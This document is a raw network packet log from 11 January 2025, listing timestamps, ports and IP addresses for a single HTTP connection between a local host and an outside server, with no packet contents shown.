Jan 11, 2025 02:31:20.291198969 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.291254997 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.291258097 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.291269064 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.291281939 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.291347980 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.291357994 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.291368961 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.291421890 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.291421890 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.291421890 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.312705994 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.312735081 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.312772036 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.312793970 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.312827110 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.312849045 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.312870026 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.312891960 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.312915087 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.312931061 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.312931061 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.312931061 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.312931061 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.312937975 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.312983036 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313030958 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313051939 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313072920 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313081026 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313096046 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313122034 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313146114 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313164949 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313198090 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313216925 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313219070 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313239098 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313245058 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313261032 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313316107 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313376904 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313400030 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313421965 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313429117 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313442945 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313462973 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313492060 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313493013 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313514948 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313517094 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313560963 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313622952 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313643932 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313664913 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313684940 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313705921 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313714981 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313739061 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313802958 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313832998 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313841105 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313847065 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313868046 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313889027 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.313890934 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313913107 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.313914061 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314105034 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314126015 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314146042 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314160109 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.314167023 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314179897 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.314189911 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314209938 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314219952 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.314230919 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314258099 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.314332008 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314352989 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314373970 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314404011 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.314429998 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.314532042 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314553976 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314574003 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314594984 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314604998 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.314615965 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314635992 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314651966 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.314657927 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314678907 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314699888 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314707994 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.314719915 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314728022 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.314742088 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.314768076 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.315006971 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.315026999 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.315047979 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.315057993 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.315068960 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.315089941 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.315098047 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.315110922 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.315130949 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.315150976 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.315160036 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.315171957 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.315180063 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.315195084 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.315222025 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.317516088 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.327323914 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327380896 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.327424049 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327434063 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327445984 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327467918 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327539921 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327549934 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327560902 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327621937 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327630997 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327663898 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.327663898 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.327665091 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.327675104 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327687025 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327698946 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327708006 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327714920 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.327714920 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.327748060 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.327851057 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327862978 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327872992 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327883959 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327894926 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.327900887 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.327927113 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.327950001 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.328016996 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.328027964 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.328038931 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.328068972 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.349263906 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349286079 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349430084 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.349476099 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349508047 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349518061 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349524975 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.349570990 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.349586964 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349597931 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349608898 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349621058 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349642992 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.349668980 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.349683046 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349694967 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349715948 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349735022 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.349796057 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349807978 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349818945 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349831104 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349843979 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.349869013 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.349920988 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349950075 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.349967003 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.349998951 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.350044012 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.368593931 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.368621111 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.368630886 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.368684053 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.368722916 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.368733883 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.368746042 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.368799925 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.368875027 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.368875027 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.379774094 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.379797935 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.379810095 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.379941940 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.379954100 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.379966021 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.379976988 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.379985094 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.379986048 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.380039930 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.402370930 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402395010 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402406931 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402417898 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402431011 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402486086 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402497053 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402508974 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402518988 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402611017 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.402612925 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402611017 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.402611017 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.402611017 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.402623892 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402659893 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402667999 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.402672052 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402709961 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.402781963 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402792931 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402805090 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402815104 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402825117 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402843952 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.402889967 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.402919054 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402930021 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402940035 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402951956 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402962923 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402970076 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.402981043 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.402991056 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403044939 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403162003 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403172970 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403184891 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403194904 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403207064 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403233051 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403258085 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403363943 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403377056 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403388023 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403399944 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403409958 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403420925 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403445005 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403469086 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403506994 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403517962 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403551102 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403561115 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403563023 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403579950 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403620005 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403775930 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403786898 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403799057 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403810024 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403820992 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403829098 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403832912 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.403846979 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.403889894 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404023886 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404033899 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404046059 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404057026 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404067993 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404078960 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404083967 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404089928 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404100895 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404104948 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404131889 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404156923 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404253006 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404263973 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404274940 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404285908 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404298067 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404315948 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404340982 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404496908 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404508114 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404517889 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404529095 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404540062 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404548883 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404552937 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404561043 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404572010 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404572964 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404582977 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404596090 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404618025 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.404738903 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404751062 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.404792070 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.415950060 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.415968895 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.415986061 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416047096 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416070938 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416081905 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416094065 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416165113 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416176081 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416219950 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416219950 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416250944 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416260958 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416294098 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416294098 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416397095 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416407108 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416418076 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416450024 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416476011 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416544914 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416555882 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416567087 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416577101 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416588068 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416599035 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416604996 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416610003 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416625023 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416652918 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416698933 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416745901 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.416754007 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416764975 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.416801929 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.425287008 CET	49703	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:31:20.438204050 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438241005 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438250065 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438328981 CET	80	49703	193.143.1.205	192.168.2.7
Jan 11, 2025 02:31:20.438339949 CET	80	49703	193.143.1.205	192.168.2.7
